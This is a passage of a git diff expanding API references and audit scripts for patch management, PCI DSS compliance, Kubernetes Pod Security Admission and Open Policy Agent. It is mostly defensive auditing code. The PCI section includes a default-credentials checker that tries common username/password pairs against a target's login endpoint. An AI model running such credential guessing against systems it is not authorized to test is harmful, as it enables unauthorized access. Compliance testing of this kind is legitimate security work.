Description | +|--------|----------|-------------| +| GET | `/scans` | List vulnerability scans | +| GET | `/scans/{id}` | Get scan results | +| POST | `/scans` | Create a new scan | +| POST | `/scans/{id}/launch` | Launch a scan | +| GET | `/workbenches/vulnerabilities` | List vulnerabilities | +| GET | `/workbenches/assets` | List assets | + +### Get Scan Results with Missing Patches +```python +def get_tenable_missing_patches(scan_id): + resp = requests.get( + f"{TENABLE_URL}/scans/{scan_id}", + headers=tenable_headers, + timeout=60, + ) + resp.raise_for_status() + vulns = resp.json().get("vulnerabilities", []) + patches_needed = [ + v for v in vulns + if v.get("plugin_family") == "Windows : Microsoft Bulletins" + or "patch" in v.get("plugin_name", "").lower() + ] + return sorted(patches_needed, key=lambda v: v.get("severity", 0), reverse=True) +``` + +## Qualys API + +### Authentication +```python +QUALYS_URL = os.environ.get("QUALYS_URL", "https://qualysapi.qualys.com") +qualys_auth = (os.environ["QUALYS_USER"], os.environ["QUALYS_PASS"]) +qualys_headers = {"X-Requested-With": "Python"} +``` + +### Key Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/2.0/fo/scan/` | List scans | +| POST | `/api/2.0/fo/scan/` | Launch a scan | +| GET | `/api/2.0/fo/asset/host/` | List host assets | +| POST | `/api/2.0/fo/knowledge_base/vuln/` | Query vulnerability KB | +| GET | `/api/2.0/fo/report/` | List reports | + +### Get Missing Patches by Host +```python +def get_qualys_patches(scan_ref): + resp = requests.get( + f"{QUALYS_URL}/api/2.0/fo/scan/", + params={"action": "fetch", "scan_ref": scan_ref, "output_format": "json"}, + auth=qualys_auth, + headers=qualys_headers, + timeout=120, + ) + resp.raise_for_status() + return resp.json() +``` + +## WSUS (Windows Server Update Services) via PowerShell + +### Check Patch Compliance +```python +def check_wsus_compliance(server=None): + cmd = ["powershell", "-Command"] + ps_script = """ + Get-WsusUpdate -Approval Approved -Status FailedOrNeeded | + Select-Object Title, Classification, KnowledgebaseArticles, ArrivalDate | + ConvertTo-Json + """ + if server: + ps_script = f"Invoke-Command -ComputerName {server} -ScriptBlock {{{ps_script}}}" + cmd.append(ps_script) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + return json.loads(result.stdout) if result.stdout else [] +``` + +### List Installed Updates +```python +def list_installed_patches(): + cmd = [ + "powershell", "-Command", + "Get-HotFix | Select-Object HotFixID, Description, InstalledOn | ConvertTo-Json" + ] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + return json.loads(result.stdout) if result.stdout else [] +``` + +## Patch Prioritization + +```python +def prioritize_patches(vulnerabilities, kev_cves=None): + """Prioritize patches using CVSS + KEV + age.""" + kev_set = set(kev_cves or []) + for vuln in vulnerabilities: + score = vuln.get("cvss_score", 0) + if vuln.get("cve") in kev_set: + score += 3 # KEV bonus + if vuln.get("exploit_available"): + score += 2 + vuln["priority_score"] = min(score, 10) + return sorted(vulnerabilities, key=lambda v: v["priority_score"], reverse=True) +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "scan_date": "2025-01-15T10:30:00Z", + "total_hosts": 250, + "patches_required": 145, + "critical_patches": 12, + "kev_matches": 5, + "compliance_rate": 78.5, + "remediation_plan": [ + { + "kb": "KB5034441", + "title": "Windows Security Update", + "severity": "critical", + "affected_hosts": 45, + "cve": "CVE-2024-21345", + "kev_listed": true + } + ] +} ``` diff --git a/skills/implementing-patch-management-workflow/scripts/agent.py b/skills/implementing-patch-management-workflow/scripts/agent.py index f240b239..e3996f85 100644 --- a/skills/implementing-patch-management-workflow/scripts/agent.py +++ b/skills/implementing-patch-management-workflow/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Patch management workflow automation.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-pci-dss-compliance-controls/SKILL.md b/skills/implementing-pci-dss-compliance-controls/SKILL.md index 13cc0dec..df7258e9 100644 --- a/skills/implementing-pci-dss-compliance-controls/SKILL.md +++ b/skills/implementing-pci-dss-compliance-controls/SKILL.md @@ -56,7 +56,7 @@ PCI DSS 4.0.1 establishes 12 requirements across 6 control objectives for organi - **Anti-phishing mechanisms**: Technical controls to detect and protect against phishing (Req 5.4.1) - **Automated log review**: Automated mechanisms for review of audit logs (Req 10.4.1.1) -## Implementation Steps +## Workflow ### Phase 1: Scoping and Assessment (Weeks 1-4) 1. Identify all cardholder data flows (card present, card not present, storage) diff --git a/skills/implementing-pci-dss-compliance-controls/references/api-reference.md b/skills/implementing-pci-dss-compliance-controls/references/api-reference.md index 4bf75e3f..6d7076a4 100644 --- a/skills/implementing-pci-dss-compliance-controls/references/api-reference.md +++ b/skills/implementing-pci-dss-compliance-controls/references/api-reference.md @@ -1,28 +1,208 @@ -# API Reference: PCI DSS compliance control audit +# API Reference: PCI DSS Compliance Control Audit -## API Endpoints -Requirements: network segmentation, encryption, access control, logging, vulnerability mgmt +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | API calls to scan engines and cloud services | +| `jinja2` | Generate compliance assessment reports | +| `json` | Parse control status and evidence data | +| `subprocess` | Run network segmentation and encryption checks | +| `csv` | Export compliance matrices | ## Installation + ```bash pip install requests jinja2 ``` -## Libraries +## PCI DSS v4.0 Requirements Map -| Library | Use | -|---------|-----| -| `requests` | requests SDK/client | -| `jinja2` | jinja2 SDK/client | +| Requirement | Title | Automated Checks | +|-------------|-------|-----------------| +| 1 | Install and maintain network security controls | Firewall rules, segmentation testing | +| 2 | Apply secure configurations | Default credential scan, hardening baselines | +| 3 | Protect stored account data | Encryption at rest, key management | +| 4 | Protect cardholder data with strong cryptography during transmission | TLS version, cipher suites | +| 5 | Protect all systems against malware | AV status, EDR coverage | +| 6 | Develop and maintain secure systems | Vulnerability scans, SAST/DAST | +| 7 | Restrict access by business need to know | RBAC review, access logs | +| 8 | Identify users and authenticate access | MFA status, password policy | +| 9 | Restrict physical access to cardholder data | Physical access logs | +| 10 | Log and monitor all access | Log aggregation, SIEM alerts | +| 11 | Test security of systems regularly | Penetration tests, IDS/IPS | +| 12 | Support information security with policies | Policy review dates | -## Authentication +## Core Compliance Checks -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Requirement 2: Default Credentials Check +```python +import requests + +DEFAULT_CREDS = [ + ("admin", "admin"), ("admin", "password"), ("root", "root"), + ("admin", ""), ("user", "user"), ("test", "test"), +] + +def check_default_credentials(target_url): + findings = [] + for username, password in DEFAULT_CREDS: + try: + resp = requests.post( + f"{target_url}/login", + data={"username": username, "password": password}, + timeout=10, + allow_redirects=False, + ) + if resp.status_code in (200, 302): + findings.append({ + "target": target_url, + "username": username, + "requirement": "2.2.2", + "severity": "critical", + }) + except requests.RequestException: + pass + return findings +``` + +### Requirement 4: TLS Configuration Check +```python +import ssl +import socket + +def check_tls_config(hostname, port=443): + findings = [] + context = ssl.create_default_context() + with socket.create_connection((hostname, port), timeout=10) as sock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: + protocol = ssock.version() + cipher = ssock.cipher() + cert = ssock.getpeercert() + + # Check TLS version (must be 1.2+) + if protocol in ("TLSv1", "TLSv1.1"): + findings.append({ + "check": "tls_version", + "requirement": "4.2.1", + "severity": "high", + "detail": f"Weak TLS version: {protocol}", + }) + + # Check cipher strength + if cipher and cipher[2] < 128: + findings.append({ + "check": "cipher_strength", + "requirement": "4.2.1", + "severity": "high", + "detail": f"Weak cipher: {cipher[0]} ({cipher[2]} bits)", + }) + + return {"protocol": protocol, "cipher": cipher[0], "findings": findings} +``` + +### Requirement 8: MFA and Password Policy +```python +def check_password_policy(identity_provider_url, headers): + resp = requests.get( + f"{identity_provider_url}/api/v1/policies/password", + headers=headers, + timeout=30, + ) + policy = resp.json() + + findings = [] + if policy.get("minLength", 0) < 12: + findings.append({ + "check": "password_length", + "requirement": "8.3.6", + "severity": "medium", + "detail": f"Min password length {policy['minLength']} < 12", + }) + if not policy.get("requireUppercase"): + findings.append({ + "check": "password_complexity", + "requirement": "8.3.6", + "severity": "low", + "detail": "Uppercase not required", + }) + return findings +``` + +### Requirement 10: Log Monitoring Check +```python +def check_logging_coverage(siem_url, siem_headers): + """Verify all CDE systems forward logs to SIEM.""" + resp = requests.get( + f"{siem_url}/api/sources", + headers=siem_headers, + timeout=30, + ) + active_sources = resp.json().get("sources", []) + return { + "total_sources": len(active_sources), + "requirement": "10.2", + "active": [s for s in active_sources if s.get("status") == "active"], + "inactive": [s for s in active_sources if s.get("status") != "active"], + } +``` + +### Generate Compliance Report +```python +from jinja2 import Template + +REPORT_TEMPLATE = """ +# PCI DSS v4.0 Compliance Assessment + +Generated: {{ timestamp }} +Scope: {{ scope }} + +## Summary +- Total Controls: {{ total }} +- Compliant: {{ compliant }} +- Non-Compliant: {{ non_compliant }} +- Compliance Rate: {{ rate }}% + +## Findings +{% for finding in findings %} +### {{ finding.requirement }} — {{ finding.check }} +- **Severity**: {{ finding.severity }} +- **Detail**: {{ finding.detail }} +{% endfor %} +""" + +def generate_report(findings, scope, timestamp): + compliant = sum(1 for f in findings if not f.get("findings")) + template = Template(REPORT_TEMPLATE) + return template.render( + timestamp=timestamp, + scope=scope, + total=len(findings), + compliant=compliant, + non_compliant=len(findings) - compliant, + rate=round(compliant / len(findings) * 100, 1), + findings=[f for f in findings if f.get("findings")], + ) +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "assessment_date": "2025-01-15", + "pci_dss_version": "4.0", + "scope": "Cardholder Data Environment", + "total_requirements": 12, + "compliant": 9, + "non_compliant": 3, + "findings": [ + { + "requirement": "4.2.1", + "check": "tls_version", + "severity": "high", + "detail": "Payment gateway using TLSv1.1", + "remediation": "Upgrade to TLS 1.2 or higher" + } + ] +} ``` diff --git a/skills/implementing-pci-dss-compliance-controls/scripts/agent.py b/skills/implementing-pci-dss-compliance-controls/scripts/agent.py index 76ddb681..d4a1afb5 100644 --- a/skills/implementing-pci-dss-compliance-controls/scripts/agent.py +++ b/skills/implementing-pci-dss-compliance-controls/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """PCI DSS compliance control audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-pod-security-admission-controller/references/api-reference.md b/skills/implementing-pod-security-admission-controller/references/api-reference.md index 777ff030..2e6fd1aa 100644 --- a/skills/implementing-pod-security-admission-controller/references/api-reference.md +++ b/skills/implementing-pod-security-admission-controller/references/api-reference.md @@ -1,27 +1,169 @@ -# API Reference: Kubernetes Pod Security Admission audit +# API Reference: Kubernetes Pod Security Admission Controller -## API Endpoints -CoreV1Api: list_namespace(), labels: pod-security.kubernetes.io/enforce, baseline/restricted +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `kubernetes` | Official Kubernetes Python client for cluster API access | +| `json` | Parse and format admission review payloads | +| `yaml` | Read and write Pod Security Standard label configurations | ## Installation + ```bash -pip install kubernetes +pip install kubernetes pyyaml ``` -## Libraries - -| Library | Use | -|---------|-----| -| `kubernetes` | kubernetes SDK/client | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +```python +from kubernetes import client, config + +# In-cluster (running inside a pod) +config.load_incluster_config() + +# Local kubeconfig +config.load_kube_config(context="my-cluster") + +v1 = client.CoreV1Api() +``` + +## Pod Security Standards Levels + +| Level | Description | +|-------|-------------| +| `privileged` | Unrestricted — no restrictions applied | +| `baseline` | Minimally restrictive — prevents known privilege escalation | +| `restricted` | Heavily restricted — follows hardening best practices | + +## Namespace Label API + +Pod Security Admission is configured via namespace labels: + +| Label | Purpose | +|-------|---------| +| `pod-security.kubernetes.io/enforce` | Reject pods that violate the policy | +| `pod-security.kubernetes.io/enforce-version` | Pin policy to specific k8s version | +| `pod-security.kubernetes.io/audit` | Log violations in audit log | +| `pod-security.kubernetes.io/audit-version` | Pin audit policy version | +| `pod-security.kubernetes.io/warn` | Show warnings to kubectl users | +| `pod-security.kubernetes.io/warn-version` | Pin warning policy version | + +## Core Operations + +### List Namespaces with PSA Labels +```python +namespaces = v1.list_namespace() +for ns in namespaces.items: + labels = ns.metadata.labels or {} + enforce = labels.get("pod-security.kubernetes.io/enforce", "none") + audit = labels.get("pod-security.kubernetes.io/audit", "none") + warn = labels.get("pod-security.kubernetes.io/warn", "none") + print(f"{ns.metadata.name}: enforce={enforce} audit={audit} warn={warn}") +``` + +### Apply PSA Labels to a Namespace +```python +body = { + "metadata": { + "labels": { + "pod-security.kubernetes.io/enforce": "restricted", + "pod-security.kubernetes.io/enforce-version": "latest", + "pod-security.kubernetes.io/audit": "restricted", + "pod-security.kubernetes.io/warn": "restricted", + } + } +} +v1.patch_namespace(name="production", body=body) +``` + +### Audit All Namespaces for Missing PSA Labels +```python +def audit_psa_labels(): + findings = [] + namespaces = v1.list_namespace() + for ns in namespaces.items: + name = ns.metadata.name + labels = ns.metadata.labels or {} + if name in ("kube-system", "kube-public", "kube-node-lease"): + continue + enforce = labels.get("pod-security.kubernetes.io/enforce") + if not enforce: + findings.append({"namespace": name, "issue": "no enforce label"}) + elif enforce == "privileged": + findings.append({"namespace": name, "issue": "enforce=privileged"}) + return findings +``` + +### Check Pod Violations Against a Level +```python +def check_pod_security(namespace, level="restricted"): + pods = v1.list_namespaced_pod(namespace=namespace) + violations = [] + for pod in pods.items: + for container in pod.spec.containers: + sc = container.security_context + if not sc: + violations.append({ + "pod": pod.metadata.name, + "container": container.name, + "issue": "no securityContext defined", + }) + continue + if sc.privileged: + violations.append({ + "pod": pod.metadata.name, + "container": container.name, + "issue": "privileged=true", + }) + if sc.run_as_non_root is not True: + violations.append({ + "pod": pod.metadata.name, + "container": container.name, + "issue": "runAsNonRoot not set", + }) + caps = sc.capabilities + if level == "restricted" and (not caps or not caps.drop or "ALL" not in caps.drop): + violations.append({ + "pod": pod.metadata.name, + "container": container.name, + "issue": "capabilities.drop does not include ALL", + }) + return violations +``` + +## kubectl Equivalents + +```bash +# Label a namespace with restricted enforcement +kubectl label namespace production \ + pod-security.kubernetes.io/enforce=restricted \ + pod-security.kubernetes.io/warn=restricted \ + --overwrite + +# Dry-run to test impact before enforcing +kubectl label --dry-run=server --overwrite namespace production \ + pod-security.kubernetes.io/enforce=restricted + +# Check which namespaces have PSA labels +kubectl get namespaces -L pod-security.kubernetes.io/enforce +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "namespace": "production", + "enforce_level": "restricted", + "audit_level": "restricted", + "warn_level": "restricted", + "pod_violations": [ + { + "pod": "legacy-app-7f8b9c", + "container": "app", + "issue": "privileged=true" + } + ], + "compliant": false +} ``` diff --git a/skills/implementing-pod-security-admission-controller/scripts/agent.py b/skills/implementing-pod-security-admission-controller/scripts/agent.py index c83eaa06..0bccd6b1 100644 --- a/skills/implementing-pod-security-admission-controller/scripts/agent.py +++ b/skills/implementing-pod-security-admission-controller/scripts/agent.py @@ -1,61 +1,305 @@ #!/usr/bin/env python3 -"""Kubernetes Pod Security Admission audit.""" -import argparse, json, sys +"""Kubernetes Pod Security Admission audit agent. + +Audits Kubernetes namespaces and workloads for Pod Security Standards (PSS) +compliance using kubectl. Checks namespace labels for enforce/audit/warn +modes, analyzes pod specs against Baseline and Restricted profiles, and +reports violations. +""" +import argparse +import json +import os +import subprocess +import sys from datetime import datetime, timezone -try: - import requests -except ImportError: - requests = None -def audit_config(target, token): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} + +def run_kubectl(args_list, timeout=60): + """Execute a kubectl command and return parsed JSON output.""" + cmd = ["kubectl"] + args_list + ["-o", "json"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + if result.returncode != 0: + print(f"[!] kubectl error: {result.stderr[:200]}", file=sys.stderr) + return None try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) + return json.loads(result.stdout) + except json.JSONDecodeError: + return None + + +def get_namespaces(): + """Get all namespaces with their PSA labels.""" + print("[*] Fetching namespaces...") + data = run_kubectl(["get", "namespaces"]) + if not data: + return [] + namespaces = [] + for ns in data.get("items", []): + name = ns.get("metadata", {}).get("name", "") + labels = ns.get("metadata", {}).get("labels", {}) + psa_enforce = labels.get("pod-security.kubernetes.io/enforce", "") + psa_audit = labels.get("pod-security.kubernetes.io/audit", "") + psa_warn = labels.get("pod-security.kubernetes.io/warn", "") + psa_enforce_version = labels.get("pod-security.kubernetes.io/enforce-version", "") + namespaces.append({ + "name": name, + "enforce": psa_enforce, + "audit": psa_audit, + "warn": psa_warn, + "enforce_version": psa_enforce_version, + "has_psa": bool(psa_enforce or psa_audit or psa_warn), + }) + print(f"[+] Found {len(namespaces)} namespaces") + return namespaces + + +def audit_namespace_psa(namespaces): + """Audit PSA label configuration across namespaces.""" + findings = [] + system_ns = {"kube-system", "kube-public", "kube-node-lease", "default"} + + for ns in namespaces: + name = ns["name"] + if name in system_ns: + continue + + if not ns["has_psa"]: + findings.append({ + "namespace": name, + "check": "No PSA labels configured", + "severity": "HIGH", + "recommendation": ( + f"Apply PSA labels: kubectl label namespace {name} " + f"pod-security.kubernetes.io/enforce=baseline " + f"pod-security.kubernetes.io/warn=restricted" + ), + }) + elif ns["enforce"] == "privileged": + findings.append({ + "namespace": name, + "check": "PSA enforce set to privileged (permissive)", + "severity": "HIGH", + "recommendation": "Upgrade to baseline or restricted enforcement", + }) + elif ns["enforce"] == "baseline" and not ns["warn"]: + findings.append({ + "namespace": name, + "check": "Enforce baseline but no warn=restricted", + "severity": "MEDIUM", + "recommendation": ( + f"Add warn label: kubectl label namespace {name} " + f"pod-security.kubernetes.io/warn=restricted" + ), + }) + elif ns["enforce"] == "restricted": + findings.append({ + "namespace": name, + "check": "PSA enforce=restricted (most secure)", + "severity": "INFO", + }) + return findings -def check_compliance(target, token): + +def audit_pod_security(namespace=None): + """Audit pods for security spec violations against PSS profiles.""" findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass + cmd = ["get", "pods", "--all-namespaces"] if not namespace else ["get", "pods", "-n", namespace] + data = run_kubectl(cmd) + if not data: + return findings + + for pod in data.get("items", []): + pod_name = pod.get("metadata", {}).get("name", "") + pod_ns = pod.get("metadata", {}).get("namespace", "") + spec = pod.get("spec", {}) + + # Check host namespaces + if spec.get("hostNetwork"): + findings.append({ + "namespace": pod_ns, "pod": pod_name, + "check": "hostNetwork enabled", + "severity": "CRITICAL", "profile": "baseline", + }) + if spec.get("hostPID"): + findings.append({ + "namespace": pod_ns, "pod": pod_name, + "check": "hostPID enabled", + "severity": "CRITICAL", "profile": "baseline", + }) + if spec.get("hostIPC"): + findings.append({ + "namespace": pod_ns, "pod": pod_name, + "check": "hostIPC enabled", + "severity": "HIGH", "profile": "baseline", + }) + + containers = spec.get("containers", []) + spec.get("initContainers", []) + for container in containers: + c_name = container.get("name", "") + sec_ctx = container.get("securityContext", {}) + + # Privileged container + if sec_ctx.get("privileged"): + findings.append({ + "namespace": pod_ns, "pod": pod_name, "container": c_name, + "check": "Privileged container", + "severity": "CRITICAL", "profile": "baseline", + }) + + # Run as root + if sec_ctx.get("runAsUser") == 0: + findings.append({ + "namespace": pod_ns, "pod": pod_name, "container": c_name, + "check": "Running as root (UID 0)", + "severity": "HIGH", "profile": "restricted", + }) + + # Missing runAsNonRoot + if not sec_ctx.get("runAsNonRoot"): + findings.append({ + "namespace": pod_ns, "pod": pod_name, "container": c_name, + "check": "runAsNonRoot not set", + "severity": "MEDIUM", "profile": "restricted", + }) + + # Writable root filesystem + if not sec_ctx.get("readOnlyRootFilesystem"): + findings.append({ + "namespace": pod_ns, "pod": pod_name, "container": c_name, + "check": "Root filesystem not read-only", + "severity": "MEDIUM", "profile": "restricted", + }) + + # Privilege escalation + if sec_ctx.get("allowPrivilegeEscalation", True): + findings.append({ + "namespace": pod_ns, "pod": pod_name, "container": c_name, + "check": "allowPrivilegeEscalation not disabled", + "severity": "MEDIUM", "profile": "restricted", + }) + + # Dangerous capabilities + caps = sec_ctx.get("capabilities", {}) + added = caps.get("add", []) + dangerous_caps = {"SYS_ADMIN", "NET_ADMIN", "SYS_PTRACE", "ALL", + "NET_RAW", "SYS_RAWIO", "SYS_MODULE"} + for cap in added: + if cap.upper() in dangerous_caps: + findings.append({ + "namespace": pod_ns, "pod": pod_name, "container": c_name, + "check": f"Dangerous capability added: {cap}", + "severity": "CRITICAL" if cap.upper() in ("SYS_ADMIN", "ALL") else "HIGH", + "profile": "baseline", + }) + + # Drop ALL capabilities check (restricted) + dropped = [c.upper() for c in caps.get("drop", [])] + if "ALL" not in dropped: + findings.append({ + "namespace": pod_ns, "pod": pod_name, "container": c_name, + "check": "Capabilities not dropping ALL", + "severity": "LOW", "profile": "restricted", + }) + + # Host ports + for port in container.get("ports", []): + if port.get("hostPort"): + findings.append({ + "namespace": pod_ns, "pod": pod_name, "container": c_name, + "check": f"hostPort exposed: {port['hostPort']}", + "severity": "HIGH", "profile": "baseline", + }) + return findings + +def format_summary(ns_findings, pod_findings, namespaces): + """Print audit summary.""" + print(f"\n{'='*60}") + print(f" Pod Security Admission Audit Report") + print(f"{'='*60}") + print(f" Namespaces : {len(namespaces)}") + psa_configured = sum(1 for ns in namespaces if ns["has_psa"]) + print(f" PSA Configured : {psa_configured}/{len(namespaces)}") + print(f" NS Findings : {len(ns_findings)}") + print(f" Pod Findings : {len(pod_findings)}") + + all_findings = ns_findings + pod_findings + severity_counts = {} + for f in all_findings: + sev = f.get("severity", "INFO") + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + print(f"\n By Severity:") + for sev in ["CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO"]: + count = severity_counts.get(sev, 0) + if count > 0: + print(f" {sev:10s}: {count}") + + print(f"\n Namespace PSA Status:") + for ns in namespaces: + if ns["name"] in ("kube-system", "kube-public", "kube-node-lease"): + continue + status = ns["enforce"] or "none" + print(f" {ns['name']:30s}: enforce={status:12s} audit={ns['audit'] or 'none':12s}") + + if pod_findings: + print(f"\n Top Pod Violations:") + for f in pod_findings[:15]: + if f["severity"] in ("CRITICAL", "HIGH"): + print(f" [{f['severity']:8s}] {f.get('namespace', '')}/" + f"{f.get('pod', '')}: {f['check']}") + + return severity_counts + + def main(): - p = argparse.ArgumentParser(description="Kubernetes Pod Security Admission audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] Kubernetes Pod Security Admission audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser( + description="Kubernetes Pod Security Admission audit agent" + ) + parser.add_argument("--namespace", "-n", help="Specific namespace to audit (default: all)") + parser.add_argument("--skip-pods", action="store_true", help="Only audit namespace labels") + parser.add_argument("--kubeconfig", help="Path to kubeconfig file") + parser.add_argument("--context", help="Kubernetes context to use") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + if args.kubeconfig: + os.environ["KUBECONFIG"] = args.kubeconfig + + namespaces = get_namespaces() + ns_findings = audit_namespace_psa(namespaces) + + pod_findings = [] + if not args.skip_pods: + pod_findings = audit_pod_security(args.namespace) + + severity_counts = format_summary(ns_findings, pod_findings, namespaces) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "PSA Audit", + "namespaces": namespaces, + "namespace_findings": ns_findings, + "pod_findings": pod_findings, + "severity_counts": severity_counts, + "risk_level": ( + "CRITICAL" if severity_counts.get("CRITICAL", 0) > 0 + else "HIGH" if severity_counts.get("HIGH", 0) > 0 + else "MEDIUM" if severity_counts.get("MEDIUM", 0) > 0 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md b/skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md index d2964761..66a8a810 100644 --- a/skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md +++ b/skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md @@ -1,27 +1,183 @@ -# API Reference: OPA policy-as-code implementation audit +# API Reference: Open Policy Agent (OPA) Policy-as-Code -## API Endpoints -OPA: POST /v1/data/{package}, PUT /v1/policies/{id}, GET /v1/data, Rego policy language +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | HTTP client for OPA REST API | +| `json` | Parse OPA decision responses | +| `subprocess` | Run `opa eval` and `opa test` CLI commands | +| `yaml` | Parse Kubernetes admission review objects | ## Installation + ```bash -pip install requests +# OPA binary +curl -L -o opa https://openpolicyagent.org/downloads/latest/opa_linux_amd64_static +chmod 755 opa && sudo mv opa /usr/local/bin/ + +# Python dependencies +pip install requests pyyaml ``` -## Libraries +## OPA REST API Endpoints -| Library | Use | -|---------|-----| -| `requests` | requests SDK/client | +| Method | Endpoint | Description | +|--------|----------|-------------| +| PUT | `/v1/policies/{id}` | Create or update a policy module | +| GET | `/v1/policies/{id}` | Retrieve a policy module | +| DELETE | `/v1/policies/{id}` | Delete a policy module | +| GET | `/v1/policies` | List all policy modules | +| PUT | `/v1/data/{path}` | Create or overwrite a document | +| GET | `/v1/data/{path}` | Evaluate a rule or retrieve data | +| POST | `/v1/data/{path}` | Evaluate a rule with input | +| PATCH | `/v1/data/{path}` | Patch a data document | +| POST | `/v1/query` | Execute ad-hoc Rego query | +| POST | `/v1/compile` | Partially evaluate a query | +| GET | `/health` | Health check (liveness) | +| GET | `/health?bundles` | Health check including bundle status | -## Authentication +## Core Operations -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Upload a Rego Policy +```python +import requests +import os + +OPA_URL = os.environ.get("OPA_URL", "http://localhost:8181") + +policy_rego = """ +package authz + +default allow := false + +allow if { + input.user.role == "admin" +} + +allow if { + input.user.role == "editor" + input.action == "read" +} +""" + +resp = requests.put( + f"{OPA_URL}/v1/policies/authz", + data=policy_rego, + headers={"Content-Type": "text/plain"}, + timeout=10, +) +resp.raise_for_status() +``` + +### Evaluate a Policy Decision +```python +decision_input = { + "input": { + "user": {"role": "editor", "name": "alice"}, + "action": "read", + "resource": "/api/reports", + } +} + +resp = requests.post( + f"{OPA_URL}/v1/data/authz/allow", + json=decision_input, + timeout=10, +) +result = resp.json() +allowed = result.get("result", False) # True +``` + +### Upload Data Documents +```python +role_permissions = { + "admin": ["read", "write", "delete", "admin"], + "editor": ["read", "write"], + "viewer": ["read"], +} + +resp = requests.put( + f"{OPA_URL}/v1/data/roles", + json=role_permissions, + timeout=10, +) +``` + +### List All Policies +```python +resp = requests.get(f"{OPA_URL}/v1/policies", timeout=10) +policies = resp.json().get("result", []) +for p in policies: + print(f" {p['id']} — {len(p.get('raw', ''))} bytes") +``` + +## OPA CLI Reference + +```bash +# Evaluate a policy locally +opa eval -i input.json -d policy.rego "data.authz.allow" + +# Run Rego unit tests +opa test ./policies/ -v + +# Check policy syntax +opa check policy.rego + +# Format Rego files +opa fmt -w policy.rego + +# Start OPA as a server +opa run --server --addr :8181 ./policies/ ./data/ + +# Build an OPA bundle +opa build -b ./policies/ -o bundle.tar.gz +``` + +## Kubernetes Gatekeeper Integration + +```yaml +apiVersion: templates.gatekeeper.sh/v1 +kind: ConstraintTemplate +metadata: + name: k8srequiredlabels +spec: + crd: + spec: + names: + kind: K8sRequiredLabels + validation: + openAPIV3Schema: + type: object + properties: + labels: + type: array + items: + type: string + targets: + - target: admission.k8s.gatekeeper.sh + rego: | + package k8srequiredlabels + violation[{"msg": msg}] { + provided := {l | input.review.object.metadata.labels[l]} + required := {l | l := input.parameters.labels[_]} + missing := required - provided + count(missing) > 0 + msg := sprintf("Missing required labels: %v", [missing]) + } +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "decision_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", + "result": true, + "policy": "data.authz.allow", + "input": { + "user": {"role": "admin"}, + "action": "delete", + "resource": "/api/users/42" + } +} ``` diff --git a/skills/implementing-policy-as-code-with-open-policy-agent/scripts/agent.py b/skills/implementing-policy-as-code-with-open-policy-agent/scripts/agent.py index 70a1ae78..3a87ac12 100644 --- a/skills/implementing-policy-as-code-with-open-policy-agent/scripts/agent.py +++ b/skills/implementing-policy-as-code-with-open-policy-agent/scripts/agent.py @@ 